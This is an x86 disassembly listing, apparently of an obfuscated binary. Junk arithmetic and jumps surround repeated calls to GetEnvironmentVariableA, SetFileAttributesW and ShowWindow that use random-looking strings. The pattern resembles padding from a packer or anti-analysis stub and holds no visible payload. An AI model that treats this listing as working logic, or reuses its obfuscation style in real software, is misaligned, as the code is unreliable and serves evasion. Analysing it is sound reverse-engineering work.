adc ecx, dword [0x40616e]
sub byte [0x4060ad], 0xf2
adc dword [0x4061b7], 0x54
sbb dword [0x4060ec], ebx
push 0x11
push str.PpkzLZqyDJrFvgVSm
push str.FSQWdJVj
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
cmp eax, 0
jne 0x401ed5
add edi, 0x74
mov byte [0x40618a], bh
adc dword [0x406041], 0xf0
sub dword [0x4060e8], esi
jmp 0x401ced
sbb dword [0x406197], ebx
add ch, 0xae
add edx, 0x57
add dword [0x4060d6], ecx
sbb dword [0x406008], ebx
lea eax, [0x40622f]
push dword [eax]
push str.JmigggiN
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
test eax, eax
jne 0x404e85
and dword [0x40608d], 0xd1
and dword [0x40605a], ebx
adc dword [0x4061f1], 0x12
sub ebx, eax
adc dword [0x406101], 0x96
adc ecx, dword [0x406001]
lea edi, [0x40622f]
push dword [edi]
push str.JmigggiN
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
test eax, eax
jne 0x404e85
adc edi, dword [0x40614b]
adc ebx, dword [0x406061]
adc bh, 0x61
adc eax, dword [0x40605e]
and dword [0x40607d], esi
add edx, 0x56
jmp 0x404986
and dword [0x40602b], 0x8f
sub ebx, 0x76
adc dword [0x406178], esi
add ecx, edi
sbb eax, 0x3a
push 5
lea edi, [0x406233]
push dword [edi]
call dword [sym.imp.user32.dll_ShowWindow]
cmp eax, 0
jne 0x404f47
sbb dword [0x40608f], 0x8d
adc eax, dword [0x40611f]
adc dword [0x4061e0], ebx
add edx, ebx
push 0x11
push str.PpkzLZqyDJrFvgVSm
push str.FSQWdJVj
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
test eax, eax
jne 0x404f47
adc ecx, dword [0x4061cd]
sbb eax, esi
adc edi, dword [0x406070]
or eax, 0x35
jmp 0x401db9
and esi, 0xffffffdf
and dword [0x4061f5], 0x8e
and dword [0x4061f9], esi
adc dword [0x4061e7], 0x72
add ecx, ebx
push 5
lea ebx, [0x406233]
push dword [ebx]
call dword [sym.imp.user32.dll_ShowWindow]
cmp eax, 0
jne 0x405001
add eax, edi
xor dword [0x4060ac], 0x84
add ecx, 0xffffffa9
add esi, 0x4d
xor edi, eax
xor ebx, 0x69
push 5
lea ebx, [0x406233]
push dword [ebx]
call dword [sym.imp.user32.dll_ShowWindow]
cmp eax, 0
jne 0x405001
sub dword [0x40608a], ebx
xor edi, 0x12
sub eax, esi
adc ecx, dword [0x406019]
sub esi, esi
jmp 0x40134a
add edx, 0x1e
sbb dword [0x406197], 0xbe
or ah, byte [0x40617b]
adc edi, dword [0x40613a]
sub dword [0x406175], edi
and eax, 0x26
push 5
lea edi, [0x406233]
push dword [edi]
call dword [sym.imp.user32.dll_ShowWindow]
test eax, eax
jne 0x4050a3
adc eax, dword [0x4060e6]
adc dword [0x406010], ebx
adc ebx, esi
sub eax, ebx
add ecx, eax
adc dword [0x406162], 0x33
push 0x11
push str.PpkzLZqyDJrFvgVSm
push str.FSQWdJVj
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
test eax, eax
jne 0x4050a3
sub dword [0x406013], eax
sbb dword [0x406173], 0xe1
add edx, 0xffffff8a
sbb dword [0x406144], 0x13
and ebx, 0xffffffc0
sub dword [0x406133], ebx
jmp 0x4055b4
or edi, dword [0x406086]
or dword [0x406167], esi
xor bh, 0x65
and ebx, 1
mov dword [0x406062], 0xf7
push 0x11
push str.PpkzLZqyDJrFvgVSm
push str.FSQWdJVj
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
test eax, eax
jne 0x40515c
xor dword [0x4060df], 0xe8
and eax, 0xc
xor dword [0x40618a], 0x31
adc al, byte [0x40618b]
sbb bl, 0x9b
push 5
lea ebx, [0x406233]
push dword [ebx]
call dword [sym.imp.user32.dll_ShowWindow]
cmp eax, 0
jne 0x40515c
or bh, byte [0x4060c3]
adc ecx, dword [0x406165]
adc edi, dword [0x4061e1]
adc dword [0x40600f], 0xe0
jmp 0x404542
adc edi, dword [0x4061f0]
add edx, ebx
adc eax, dword [0x4061e9]
sbb dword [0x40605b], esi
push 5
lea esi, [0x406233]
push dword [esi]
call dword [sym.imp.user32.dll_ShowWindow]
cmp eax, 0
jne 0x405201
mov dword [0x406102], edi
sub eax, 0xfffffffa
or dword [0x4060a3], 0x4b
sub byte [0x4060d7], 0x3f
and al, 0xe1
add esi, 0xfffffffb
jmp 0x403b1f
adc dword [0x406022], 0x9c
add ecx, ebx
sub eax, 0xffffffed
add dword [0x406194], eax
push 5
lea edi, [0x406233]
push dword [edi]
call dword [sym.imp.user32.dll_ShowWindow]
cmp eax, 0
jne 0x405278
add ecx, 0x78
xor dword [0x4061c8], ebx
sbb ecx, esi
adc ecx, dword [0x406010]
sub dword [0x40619c], ebx
add esi, esi
jmp 0x402556
xor ebx, edi
or dword [0x406152], edi
adc dword [0x40612d], esi
adc esi, esi
adc edx, dword [0x4061b4]
and dword [0x4060a4], eax
push 0x11
push str.PpkzLZqyDJrFvgVSm
push str.FSQWdJVj
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
cmp eax, 0
jne 0x4052fb
and eax, 0x43
xor dword [0x4060b0], 0x1a
or dword [0x406195], 0x38
add edx, ebx
sub ebx, edx
sub byte [0x4061cf], 0x5b
lea ebx, [0x40622f]
push dword [ebx]
push str.JmigggiN
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
test eax, eax
jne 0x4052fb
sbb edi, ebx
or edi, 0xffffffe8
or dword [0x40608c], 0xb0
sub byte [0x40600f], 0xd0
adc ah, byte [0x4061cd]
adc dword [0x40606e], esi
jmp 0x404084
add ebx, ebx
adc edx, dword [0x406103]
add ebx, 0xfffffffb
adc edi, dword [0x4060d3]
or esi, 0xffffffd9
add edx, edi
push 0x11
push str.PpkzLZqyDJrFvgVSm
push str.FSQWdJVj
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
test eax, eax
jne 0x4053b4
adc dword [0x4060f0], 0x93
add ecx, edi
and ebx, 0x73
adc dword [0x406077], ebx
or bl, 6
or ebx, dword [0x4061ce]
push 5
lea ebx, [0x406233]
push dword [ebx]
call dword [sym.imp.user32.dll_ShowWindow]
test eax, eax
jne 0x4053b4
add ecx, 0xffffff9a
sbb dword [0x4060da], 4
adc dword [0x406018], 0x27
sbb dword [0x406018], 0x7f
jmp 0x403fcd
or ebx, 0xffffff8b
mov dword [0x406135], 1
sub edi, 0xfffffffe
add ecx, esi
or ecx, 0x37
adc esi, ebx
push 5
lea eax, [0x406233]
push dword [eax]
call dword [sym.imp.user32.dll_ShowWindow]
test eax, eax
jne 0x40545d
xor edi, 0xfffffffa
or dword [0x4060d1], 0xd6
or esi, dword [0x406136]
add edx, esi
adc ecx, dword [0x4061ed]
and ecx, 0xffffff9d
lea edi, [0x40622f]
push dword [edi]
push str.JmigggiN
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
test eax, eax
jne 0x40545d
xor dword [0x4060ba], eax
adc dword [0x40603f], ebx
or dword [0x4060c3], 0xf5
add dword [0x40617a], edi
add ecx, eax
jmp 0x404183
adc dword [0x4060a8], 0x9a
xor dword [0x4060ea], 0x68
add dh, ah
sub dword [0x40605a], ebx
xor esi, 0xffffffb4
push 0x11
push str.PpkzLZqyDJrFvgVSm
push str.FSQWdJVj
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
test eax, eax
jne 0x40551a
sbb ebx, esi
sub esi, edi
sub ebx, ebx
adc dword [0x4060c4], 0x58
sub eax, edi
sub ebx, 0x63
push 5
lea eax, [0x406233]
push dword [eax]
call dword [sym.imp.user32.dll_ShowWindow]
test eax, eax
jne 0x40551a
sub eax, dword [0x406047]
adc ebx, dword [0x40603b]
adc ah, byte [0x4060da]
add eax, esi
adc eax, 0xfffffff7
jmp 0x4020fa
sbb esi, 0xf
adc bl, byte [0x4060b1]
mov dword [0x40619e], ebx
adc edi, ebx
xor edi, ebx
push 5
lea ebx, [0x406233]
push dword [ebx]
call dword [sym.imp.user32.dll_ShowWindow]
cmp eax, 0
jne 0x4055b4
and ebx, 0x13
sub eax, dword [0x40606d]
xor eax, ebx
or edi, dword [0x406106]
sub dword [0x4061c5], eax
xor ah, bh
jmp 0x402fad
add ecx, eax
or byte [0x406126], ah
adc esi, 0xffffffb2
add esi, ebx
sub byte [0x40614f], bh
lea ebx, [0x40622f]
push dword [ebx]
push str.JmigggiN
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
test eax, eax
jne 0x405621
sbb ebx, esi
add edx, ebx
sub byte [0x406133], 0x2d
sub edi, edi
or edi, dword [0x406015]
mov dword [0x4061ab], 0x9f
jmp 0x4044bc
add al, bh
add dh, 0x48
adc ecx, dword [0x406192]
sub dword [0x40608e], esi
sbb edi, ecx
xor dword [0x4060dc], 0x48
lea edi, [0x40622f]
push dword [edi]
push str.JmigggiN
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
cmp eax, 0
jne 0x405699
add ecx, edi
add eax, ecx
add dword [0x406055], eax
add ecx, ebx
sub dword [0x4060cc], esi
mov dword [0x406162], 0x92
jmp 0x404d1b
adc ah, byte [0x406188]
adc edi, eax
adc edx, dword [0x406011]
sbb edi, 0xffffff81
push 5
lea edi, [0x406233]
push dword [edi]
call dword [sym.imp.user32.dll_ShowWindow]
cmp eax, 0
jne 0x405720
sbb edi, edi
add edx, ebx
add dh, 0x32
xor dword [0x406130], eax
jmp 0x405621
sub eax, 0x37
mov dword [0x406098], 0x6e
add ecx, ebx
adc eax, dword [0x406099]
push 5
lea edx, [0x406233]
push dword [edx]
call dword [sym.imp.user32.dll_ShowWindow]
cmp eax, 0
jne 0x405798
add edx, ebx
mov dword [0x4060b7], edi
sbb esi, 0xa
add dword [0x406090], ebx
jmp 0x405001
add esi, esi
add eax, ebx
sub edi, ebx
add edx, 0x60
push 0x11
push str.PpkzLZqyDJrFvgVSm
push str.FSQWdJVj
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
test eax, eax
jne 0x40581b
adc dword [0x40603c], 0x6c
add dh, 0x25
and byte [0x4061a5], bh
mov dword [0x4061a8], 0x4c
or esi, dword [0x4060be]
push 5
lea eax, [0x406233]
push dword [eax]
call dword [sym.imp.user32.dll_ShowWindow]
cmp eax, 0
jne 0x40581b
or dword [0x406103], ebx
and dword [0x406117], esi
sub ebx, edi
adc esi, dword [0x4060dc]
xor dword [0x40616b], 0x8f
jmp 0x4036d2